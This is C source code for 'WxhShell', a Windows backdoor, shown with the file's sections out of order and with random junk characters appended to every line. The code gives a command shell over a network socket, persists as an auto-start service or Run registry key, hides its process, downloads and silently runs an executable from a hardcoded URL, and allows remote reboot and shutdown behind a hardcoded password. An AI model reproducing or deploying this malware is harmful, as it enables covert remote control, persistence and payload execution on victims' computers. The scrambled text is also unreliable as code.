    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-PHW,1@a3  
    else { ,gdud[&|;  
    closesocket(wsh); X=KC +1e  
    ExitThread(0); W8_$]}G8E  
    } sx n{uRF  
    break; !kS/Ei  
    } |pG%]?A  
  // 获取shell .nzN5FB U  
  case 's': { G`Df'Yy  
    CmdShell(wsh); 5~[m]   
    closesocket(wsh); Fy$f`w_H@  
    ExitThread(0); 2 oo/KndU  
    break; `tPVNO,l  
  } 6Vj=SYK  
  // 退出 @GWJq 3e  
  case 'x': { bs&>QsI?j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8Drz i!}  
    CloseIt(wsh); gkmV; 0  
    break; 1N}vz(0"  
    } eBWgAf.k  
  // 离开 =z!^O T6eb  
  case 'q': { .>a [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {SkE`u4Sz  
    closesocket(wsh); f#kT?!sP  
    WSACleanup(); !<3!ORFO  
    exit(1); 0Lf4 ^9N  
    break; X`fb\}~R(  
        } ka_(8  
  } ^D76_'{  
  } hS1I ;*t  
q-s(2C  
  // 提示信息 `=$p!H8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )|=4H>?%  
} ek"U q RY  
  } zP&D  
tv_&PIu]L  
  return; mxE<  
} cgi:"y F  
cLf<YF  
// shell模块句柄 `W:z#uNG]  
int CmdShell(SOCKET sock) ~1&WR`U  
{ Ew JNpecX  
STARTUPINFO si; TM5 Y(Q*  
ZeroMemory(&si,sizeof(si)); EsS$th)d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P1R5}i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2){O&8A  
PROCESS_INFORMATION ProcessInfo; PJ YUD5  
char cmdline[]="cmd"; +s;>@j()V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k<|}&<h  
  return 0; 9:*[Q"v  
} 6>]w1 H  
;0U*N& f  
// 自身启动模式 %P7 qA  
int StartFromService(void) |\W53,n9  
{ |R2p^!m  
typedef struct pm=m~  
{ .8->n aj|  
  DWORD ExitStatus; J&iSS9c  
  DWORD PebBaseAddress; #aQQd8   
  DWORD AffinityMask; l8khu)\n4R  
  DWORD BasePriority; R@-x!*z  
  ULONG UniqueProcessId; /xSFW7d1  
  ULONG InheritedFromUniqueProcessId; @QMy!y_K~m  
}   PROCESS_BASIC_INFORMATION; L~%7=]m  
%!r.) Wx|2  
PROCNTQSIP NtQueryInformationProcess; pC]XbokES  
Re2&qxE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qvty;2$o@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  T  5F)  
%fnG v\uI  
  HANDLE             hProcess; !6l*Jc3  
  PROCESS_BASIC_INFORMATION pbi; (g*j+i  
):[}NDmC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p|(SR~;6  
  if(NULL == hInst ) return 0; HB{'MBs  
]}kw'&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ap8q`a{j^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4l7 Ny\J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zn>+ \  
wBvVY3VQ^  
  if (!NtQueryInformationProcess) return 0; e=nvm'[h  
q|:wzdmNZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 19U&4Jk  
  if(!hProcess) return 0; Ta[\BWR2  
)3)7zulnXH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L+*:VP6WD  
: 0 ,yq?M  
  CloseHandle(hProcess); 4BSqL!i(  
+TyN;e   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P@keg*5@  
if(hProcess==NULL) return 0; h!ogH >S~  
damG*-7Svx  
HMODULE hMod; tS>^x  
char procName[255]; KIi:5Y  
unsigned long cbNeeded; "g)V&Lx#X  
t>AOF\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =7JSJ98  
x. #E3xI  
  CloseHandle(hProcess); gXlcB~!  
x9AFN  
if(strstr(procName,"services")) return 1; // 以服务启动 WrSc@j&Ycv  
KzP{bK5/  
  return 0; // 注册表启动 -|Zzs4bx  
} ALy7D*Z]w  
/`l;u 7RD  
// 主模块 }W'4(V;:  
int StartWxhshell(LPSTR lpCmdLine) ``P9fd  
{ ,l6,k<   
  SOCKET wsl; 71y{Dwya  
BOOL val=TRUE; l -xc*lC  
  int port=0; x1?mE)n]  
  struct sockaddr_in door; _U}vKm  
K2yu}F^}  
  if(wscfg.ws_autoins) Install(); 8>t,n,k  
,0a_ou"P=_  
port=atoi(lpCmdLine); swxX3GR  
Pmo<t6  
if(port<=0) port=wscfg.ws_port; :dh; @kp  
) $_1U!z  
  WSADATA data; MqB@}!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +C8O"  
ZMb+sUK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y+ UJV6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q"ZpT  
  door.sin_family = AF_INET; l'/`2Y1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W2#<]]-  
  door.sin_port = htons(port);  [#C6K '  
GdcXU:J /  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >x JzV  
closesocket(wsl); ~1%*w*  
return 1; IJ&Lk=2E]  
} W-l+%T!  
xa@$cxt  
  if(listen(wsl,2) == INVALID_SOCKET) { @ <{%r  
closesocket(wsl); B=r DU$z  
return 1; ^hiY6N &  
} K<wFr-z  
  Wxhshell(wsl); |~e"i<G#  
  WSACleanup(); 4hy -M>!D|  
>]pZ;e$  
return 0; 9e=}P L  
mLqqo2u  
} j(Lz& *4  
[9${4=Kq  
// 以NT服务方式启动 J?w_DQa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XZ~kXE;B(  
{ .Pponmy  
DWORD   status = 0; Ba@~:  
  DWORD   specificError = 0xfffffff; UuWIT3W>%  
 ce9P-}d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xy7A^7Li  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 88~Nrl=co  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;ND$4$  
  serviceStatus.dwWin32ExitCode     = 0; X7huc*  
  serviceStatus.dwServiceSpecificExitCode = 0; $C;i}q#  
  serviceStatus.dwCheckPoint       = 0; b^Z2Vf:k]  
  serviceStatus.dwWaitHint       = 0; G;}WZy  
hHN[K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m2\\!C]f  
  if (hServiceStatusHandle==0) return; 'RV96lX<  
=S`h/fru  
status = GetLastError(); Ohk\P;}  
  if (status!=NO_ERROR) LDc EjFK(  
{ NgDhdOB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /"8e,  
    serviceStatus.dwCheckPoint       = 0; |@iM(MM[?  
    serviceStatus.dwWaitHint       = 0; ID2->J  
    serviceStatus.dwWin32ExitCode     = status; (vO3vCYeQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]]PNYa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7b[s W|{  
    return; SG)Fk *1  
  } C '( Y  
PGJh>[ s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0[l}@K?  
  serviceStatus.dwCheckPoint       = 0; ZPmqoR[  
  serviceStatus.dwWaitHint       = 0; J:N(U0U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <"5l<E  
} 5G}4z>-]F)  
fA6IW(_bi  
// 处理NT服务事件,比如:启动、停止 rJpr;QKf%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6}TunR  
{ y>y2,x+[  
switch(fdwControl) ?Ts]zO%%Z  
{ Gk*u^J(  
case SERVICE_CONTROL_STOP: IQPu%n{0v  
  serviceStatus.dwWin32ExitCode = 0; R^.PKT2E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &))d],tJX  
  serviceStatus.dwCheckPoint   = 0; YCD |lL#  
  serviceStatus.dwWaitHint     = 0; %]_: \!  
  { ;DuVb2~+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '#f<wf n  
  } Iw`tb N L[  
  return; .D 4G;=Q  
case SERVICE_CONTROL_PAUSE: x"Ky_P~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8M*+ |  
  break; ~a ([e\~  
case SERVICE_CONTROL_CONTINUE: ed,A'S= d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T/3LJGnY  
  break; vTK%4=|1}!  
case SERVICE_CONTROL_INTERROGATE: }ssV"5M  
  break; U3{<+vSR`  
}; Z< i }XCE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v0\l~_|H  
} l<+ [l$0#  
]eKuR"ob0  
// 标准应用程序主函数 &s+l/;3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~.W]x~X$  
{ r'OqG^6JFN  
idYB.]Y(  
// 获取操作系统版本 (SyD)G\rj  
OsIsNt=GetOsVer(); W#F9Qw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hh1_zd|  
XGB\rf vS  
  // 从命令行安装 @ b!]Jw  
  if(strpbrk(lpCmdLine,"iI")) Install(); .yj@hpJM  
4/b.;$  
  // 下载执行文件 ,W}:vdC  
if(wscfg.ws_downexe) { ( V4Ppg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dipfsH]p  
  WinExec(wscfg.ws_filenam,SW_HIDE); #hxYB  
} 5skN'*oG  
L]kBY2c  
if(!OsIsNt) { |Mb{0mKb  
// 如果时win9x,隐藏进程并且设置为注册表启动 lcdhOjz!N  
HideProc(); ,u `xneOs  
StartWxhshell(lpCmdLine); ^X96yj'?  
} |(.\J`_e  
else Z_q+Ac{p  
  if(StartFromService()) .^wpfS  
  // 以服务方式启动 c<_%KL&R  
  StartServiceCtrlDispatcher(DispatchTable); q 6>eb  
else L BbST!  
  // 普通方式启动 "N}t =3i$  
  StartWxhshell(lpCmdLine); h^\vk!Q-d  
/f#b;qa,  
return 0; OIP]9lM$nC  
} A<+Dx  
z%D7x5!,R  
eN=jWUoCh  
J~2SGXH)^?  
=========================================== 9hA`I tS  
hp~q!Q1=  
cU6*y!}9  
B]X8KzLu  
"#~>q(4^  
w5%Yi {  
" " @D  
%zcA|SefP  
#include <stdio.h> e(t}$Q=  
#include <string.h> 8FuxN2  
#include <windows.h> zS%XmS\  
#include <winsock2.h> T?7u [D[[  
#include <winsvc.h> \4N8-GwZQ  
#include <urlmon.h> h!w::cV  
UMGiJO\yH  
#pragma comment (lib, "Ws2_32.lib") P 2WAnm  
#pragma comment (lib, "urlmon.lib") 3k1e  
["3dr@T9Z  
#define MAX_USER   100 // 最大客户端连接数 K?uZIDo  
#define BUF_SOCK   200 // sock buffer 3uuIISK  
#define KEY_BUFF   255 // 输入 buffer L_Ok?9$  
K0.aU  
#define REBOOT     0   // 重启 9nG^_.}|  
#define SHUTDOWN   1   // 关机 hP"2X"kz&  
h5P_kZJ  
#define DEF_PORT   5000 // 监听端口 1wR[nBg*|  
aZmN(AJ8v  
#define REG_LEN     16   // 注册表键长度 ~[%CUc"  
#define SVC_LEN     80   // NT服务名长度 +hN>Q $E  
/s4~Ij`be  
// 从dll定义API XKWq{,Ks  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yx]9rD1cz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xgk~%X%K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  (Q8!5s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q4u.v,sE  
&e^;;<*w  
// wxhshell配置信息 tkj-.~@g0'  
struct WSCFG { x%EGxs;>^  
  int ws_port;         // 监听端口 :H]d1  
  char ws_passstr[REG_LEN]; // 口令 V%8(zt  
  int ws_autoins;       // 安装标记, 1=yes 0=no p>tkRA?lk  
  char ws_regname[REG_LEN]; // 注册表键名 ]h S:0QE  
  char ws_svcname[REG_LEN]; // 服务名 E{\CE1*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gC1LQ!:;Oi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z.8/[)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vG_R( ]d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FOk&z!xYKd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Blxa0&3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z=>fBb>w7  
a}y b~:TC  
}; nm5DNpHk  
IhNX~Jg'^  
// default Wxhshell configuration KuP#i]Na  
struct WSCFG wscfg={DEF_PORT, JQ%hh&M\0  
    "xuhuanlingzhe", (h0@;@@7hW  
    1, !y d B,S  
    "Wxhshell", v5M4Rs&t  
    "Wxhshell", HP8J\`  
            "WxhShell Service", F!X0Wo=  
    "Wrsky Windows CmdShell Service", <U3X4)r  
    "Please Input Your Password: ", P*&[9 )d6  
  1, Vgj#-7bdyi  
  "http://www.wrsky.com/wxhshell.exe", H7+"BWc  
  "Wxhshell.exe" _.JQ h   
    }; H,% bKl#  
$'V^_|EL7  
// 消息定义模块 U6&`s%mIa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XM:BMd|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .aNh>`OT'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bN_e~z  
char *msg_ws_ext="\n\rExit."; > Z+*tq  
char *msg_ws_end="\n\rQuit."; LACrg  
char *msg_ws_boot="\n\rReboot..."; @7nZjrH  
char *msg_ws_poff="\n\rShutdown..."; G J%^hr`P  
char *msg_ws_down="\n\rSave to "; V;: k-  
1K9.3n   
char *msg_ws_err="\n\rErr!"; "B3jq^  
char *msg_ws_ok="\n\rOK!"; jF?0,g  
HUx`RX0>  
char ExeFile[MAX_PATH]; TDo)8+.2 z  
int nUser = 0; |Y!^E % *  
HANDLE handles[MAX_USER]; J@-'IJ  
int OsIsNt; ZN}`A7  
77M!2S_E  
SERVICE_STATUS       serviceStatus; 2'fd4 rE5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]'pfw9"f~  
'UX^]  
// 函数声明 O&7.Ry m  
int Install(void); V48_aL  
int Uninstall(void); ) f~;P+  
int DownloadFile(char *sURL, SOCKET wsh); ZjxF@`H  
int Boot(int flag); *y4g\#o.  
void HideProc(void); VZqCFE3  
int GetOsVer(void); &oMEz 0  
int Wxhshell(SOCKET wsl); )|=1;L  
void TalkWithClient(void *cs); F${sEtH  
int CmdShell(SOCKET sock); .!4'Y}  
int StartFromService(void); (1CP]5W  
int StartWxhshell(LPSTR lpCmdLine); I%.nPOQ 8  
c^w^'<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }5fd:Bm;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *<^C0:i(  
b]u=I za  
// 数据结构和表定义 r%;|gIky  
SERVICE_TABLE_ENTRY DispatchTable[] = G `|7NL   
{ __}SHU0R  
{wscfg.ws_svcname, NTServiceMain}, R_j.k3r4d  
{NULL, NULL} ;y-JR$M  
}; -9 LvAV>  
P'h39XoZ  
// 自我安装 JcRxNH )<"  
int Install(void)  !y@\w  
{ :NLY;B`  
  char svExeFile[MAX_PATH]; ?*V\ -7jg  
  HKEY key; uVgA <*0  
  strcpy(svExeFile,ExeFile); {eU>E /SQ  
p@78Xmu?q  
// 如果是win9x系统,修改注册表设为自启动 UG.:D';3,  
if(!OsIsNt) { v^eAQoFLhN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >C,0}lj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7B0`.E^~  
  RegCloseKey(key); ox SSEs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^X_ ;ZLg.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OX.5o lb  
  RegCloseKey(key); kVLZdXn,q2  
  return 0; | K|AUI  
    } y3j$?o M  
  } nO yG7:  
} JA{kifu0+  
else { 1!1,{\9%  
8@vq.z}  
// 如果是NT以上系统,安装为系统服务 :#vA5kC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1o5kP,)  
if (schSCManager!=0) 0VvY(j:hp  
{ ~d&&\EZ  
  SC_HANDLE schService = CreateService kQU4s)J  
  ( "`K_5"F  
  schSCManager, #reR<qp&]  
  wscfg.ws_svcname, n$ByTmKxv  
  wscfg.ws_svcdisp, =9,mt K~  
  SERVICE_ALL_ACCESS, ]+G\1SN~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]|F`;}7  
  SERVICE_AUTO_START, dZ" }wKbO  
  SERVICE_ERROR_NORMAL, 1]>JMh%X9t  
  svExeFile, _9D]1f=&  
  NULL, e3n^$'/\r  
  NULL, &LM@xt4"^[  
  NULL, VXCB.C"  
  NULL, 53/$8=  
  NULL ZWGelZP~  
  ); b w1s?_P  
  if (schService!=0) {31X  
  { )[Rwc#PA;  
  CloseServiceHandle(schService); G l/3*J  
  CloseServiceHandle(schSCManager); 2G|}ENC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2KXF XR  
  strcat(svExeFile,wscfg.ws_svcname); &2:WezDF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !rgXB(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^XyC[ G@[  
  RegCloseKey(key); &7kLSb&|;  
  return 0; bZSt<cH3  
    } =?L16mu1&  
  } )%/ Ni^  
  CloseServiceHandle(schSCManager); "o%okN  
} no\G >#  
} 1V5N)ty  
[*K9V/  
return 1; y=8KNseW|  
} gs}&a3d7k  
?b d&Av  
// 自我卸载 /slCK4vFc  
int Uninstall(void) H1~9f {  
{ DB"z93Mr<K  
  HKEY key; ,P`:`XQ>_B  
[)}`w;#  
if(!OsIsNt) { UptKN|S&V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W SvhC  
  RegDeleteValue(key,wscfg.ws_regname); aIT0t0.  
  RegCloseKey(key); q8_E_s-U,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ #J2t#  
  RegDeleteValue(key,wscfg.ws_regname); V#599-  
  RegCloseKey(key); 0XE6H w  
  return 0; JWu0VLo  
  } 0(5qVJ12  
} 3#fg 2  
} b7'A5]X  
else { cooicKS7  
*W=1yPP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qt"jU+Zoy  
if (schSCManager!=0) ko!]vHB9`  
{ fZs}u<3Q)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c~M'O26bW  
  if (schService!=0) r"L:Mu  
  { 1"A"AMZf  
  if(DeleteService(schService)!=0) { T*k{^=6"!  
  CloseServiceHandle(schService); s Wj:m)  
  CloseServiceHandle(schSCManager); {o'(_.{  
  return 0; @B)5Ho  
  } v*y,PY1*  
  CloseServiceHandle(schService); 6X2w)cO  
  } SP  =8v0  
  CloseServiceHandle(schSCManager); , Sf:R4=  
} c#9=o;1El  
} j`u2\ ;  
D(_j;?i  
return 1; gT fA]  
} /xg1i1Et  
*Ta {  
// 从指定url下载文件 }P!:0w3  
int DownloadFile(char *sURL, SOCKET wsh) ?S)Pv53>}  
{ 4fL>Ou[YuX  
  HRESULT hr; \J~@r1  
char seps[]= "/"; 7CU<R9Kl  
char *token; 6C_H0a/h&  
char *file; j%S} T)pX  
char myURL[MAX_PATH];  ^AwDZX  
char myFILE[MAX_PATH]; gf;B&MM6  
)x,-O#"A  
strcpy(myURL,sURL); >.gT9  
  token=strtok(myURL,seps); LK|rLoia:  
  while(token!=NULL) IjPt JwW`A  
  { %B>>J%  
    file=token; R,hwn2@B  
  token=strtok(NULL,seps); ^x >R #.R  
  } hs)_h^P   
-!j5j:RR  
GetCurrentDirectory(MAX_PATH,myFILE); a{I(Qh!}  
strcat(myFILE, "\\"); U4NA'1yo  
strcat(myFILE, file); DS< E:'N  
  send(wsh,myFILE,strlen(myFILE),0); c=B!\J<1  
send(wsh,"...",3,0); +o 6"Z)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); meD?<g4n~"  
  if(hr==S_OK) |dqAT.  
return 0; 4n\O6$&.x  
else t] G hONN  
return 1; DoEN`K\U  
Vg`32nRN  
} d-UQc2r  
h],l`lT1\  
// 系统电源模块 5F5)Bh  
int Boot(int flag) /n9,XD&)  
{ =W'{xG}  
  HANDLE hToken; @ ojV8  
  TOKEN_PRIVILEGES tkp; {@67'jL  
`Yo!sgPO\  
  if(OsIsNt) { Q$S|LC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L8$+%Gvo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tb'O:/  
    tkp.PrivilegeCount = 1; \4hB1-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x)2ZbIDB:"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KZsJ_t++!W  
if(flag==REBOOT) { k 3 oR:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L%[b6<  
  return 0; BWG#W C  
} Z'\{hL S  
else { T oK'Pd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iy,jq5uw  
  return 0; =8 Jq'-da  
} 2)R*d  
  } uU`Mq8) R  
  else { ty)~]!tA  
if(flag==REBOOT) { kiR+ Dsl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #s]`jdc  
  return 0; 8s<t* pI2  
} CoQ<Ky}*  
else { ~*^aCuq\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KFn[  
  return 0; gK>aR ^*  
} 8\_YP3  
} &-M}:'  
 C\5"Kb  
return 1; H6%%n X  
} V.kRV{43  
t8upS u|  
// win9x进程隐藏模块 |$.`4h?  
void HideProc(void) 9/I|oh_ G  
{ v?qU/  
z(_#C s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m?pm)w  
  if ( hKernel != NULL ) dG*2-v^G  
  { -_"6jU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q\[2BJo/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U8R*i7  
    FreeLibrary(hKernel); 6]5e(J{Fz  
  } >]S-a-|Bp  
6,UW5389  
return; E)utrO R  
} We*&\e+"T  
]Geg;[ t  
// 获取操作系统版本 %XAF"J  
int GetOsVer(void) ;ax%H @o  
{ z)U/bjf  
  OSVERSIONINFO winfo; Sk|DVV $  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wDz}32wB  
  GetVersionEx(&winfo); ! 4{T<s;q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )r.4`5Rc  
  return 1; QO(P_az3mg  
  else !f!HVna  
  return 0; N@r`+(_t  
} aX{i   
g6~B|?!  
// 客户端句柄模块 4<Q^/-W  
int Wxhshell(SOCKET wsl) Rx%SeM2  
{ ;<)<4N"  
  SOCKET wsh; )$7-CNWr~  
  struct sockaddr_in client; Emx`+9  
  DWORD myID; KBkS>0;X  
Cqc5jx0)  
  while(nUser<MAX_USER) 0mD=Rjb*a  
{ \zGmZZ  
  int nSize=sizeof(client); f?|cQ[#t!\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v3/l= e?u  
  if(wsh==INVALID_SOCKET) return 1; TG@ W:>N(  
2UJjYrm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )7}f .  
if(handles[nUser]==0) ~Ddlr9Ej  
  closesocket(wsh); Y+0HC2(o  
else <9jN4hV  
  nUser++; rf]'V Jg#3  
  } ?A`8c R=)I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c#YW>(  
qxW^\u!<  
  return 0; "0]s|ys6<  
} \:@yfI@  
8JbN&C  
// 关闭 socket T99\R%  
void CloseIt(SOCKET wsh) S<bsrS*$  
{ ;j^C35  
closesocket(wsh); 8ZPjzN>c6  
nUser--; mKN#dmw6  
ExitThread(0); N!iugGL  
} 5}MjS$2og  
4J${gcju  
// 客户端请求句柄 5 i;n:&Y  
void TalkWithClient(void *cs) L>.* ^]  
{ *Y/}E X! F  
7t~12m8x  
  SOCKET wsh=(SOCKET)cs; LOf)D7T  
  char pwd[SVC_LEN]; W5_aS2$  
  char cmd[KEY_BUFF]; _m2p>(N|  
char chr[1]; AIX?840V  
int i,j; "{"745H5  
%e|.a)78  
  while (nUser < MAX_USER) { )$oboAv#  
C6ry]R@  
if(wscfg.ws_passstr) { (f `zd.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {]V+C=`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u#r[JF9LP  
  //ZeroMemory(pwd,KEY_BUFF); +4]31d&3  
      i=0; h}knn3"S  
  while(i<SVC_LEN) { Q8>  
"ukiuCfVuW  
  // 设置超时 M:QM*?+)  
  fd_set FdRead; 3yp?|> e  
  struct timeval TimeOut; `@)>5gW&p  
  FD_ZERO(&FdRead); 9~ JeI/  
  FD_SET(wsh,&FdRead); 7ts`uI<E@7  
  TimeOut.tv_sec=8; oW\kJ>!  
  TimeOut.tv_usec=0; xR`M#d5"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yHIZpU|(j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zm+QhnY|  
g r[M-U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;2%8tV$V  
  pwd=chr[0]; 3:~ *cU  
  if(chr[0]==0xd || chr[0]==0xa) { %=EN 3>,  
  pwd=0; kK&M>)&o#  
  break; Y `ySNC  
  } "s.]amC  
  i++; MR`lF-|a|  
    } 5%1a!M M M  
}I>h<O  
  // 如果是非法用户,关闭 socket b^q8s4(   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i}E&mv'  
} 3Eu;_u_  
$l+DkR+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +\/1V`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wt 1]9{$  
|(77ao3  
while(1) { Iq["(!7E5  
Ka+N5 T.f  
  ZeroMemory(cmd,KEY_BUFF); [B+]F~}@  
eb#p-=^KP  
      // 自动支持客户端 telnet标准   +u\kTn  
  j=0; 8 LH\a.>  
  while(j<KEY_BUFF) { SQ0?M\D7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }K'gjs/N;  
  cmd[j]=chr[0]; |rr<4>)X  
  if(chr[0]==0xa || chr[0]==0xd) { %]1.)j  
  cmd[j]=0; vtu!* 7m  
  break; Y6w7sr_R  
  } Wv7hY"  
  j++; }{y(&Oy3Y  
    } 7*I:cga  
)p!.V( ,  
  // 下载文件 =Owr l'@|T  
  if(strstr(cmd,"http://")) { v-ZTl4j$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -J' 0qN!  
  if(DownloadFile(cmd,wsh)) yhG%@vSq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); odsLFU(  
  else ,6AnuA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`)lCK)2  
  } 3]wV 1<K  
  else { &@[pJ2  
nBkzNb{"AZ  
    switch(cmd[0]) { Or3GrZ!H  
  tQWjNP~  
  // 帮助 tB{HH%cV  
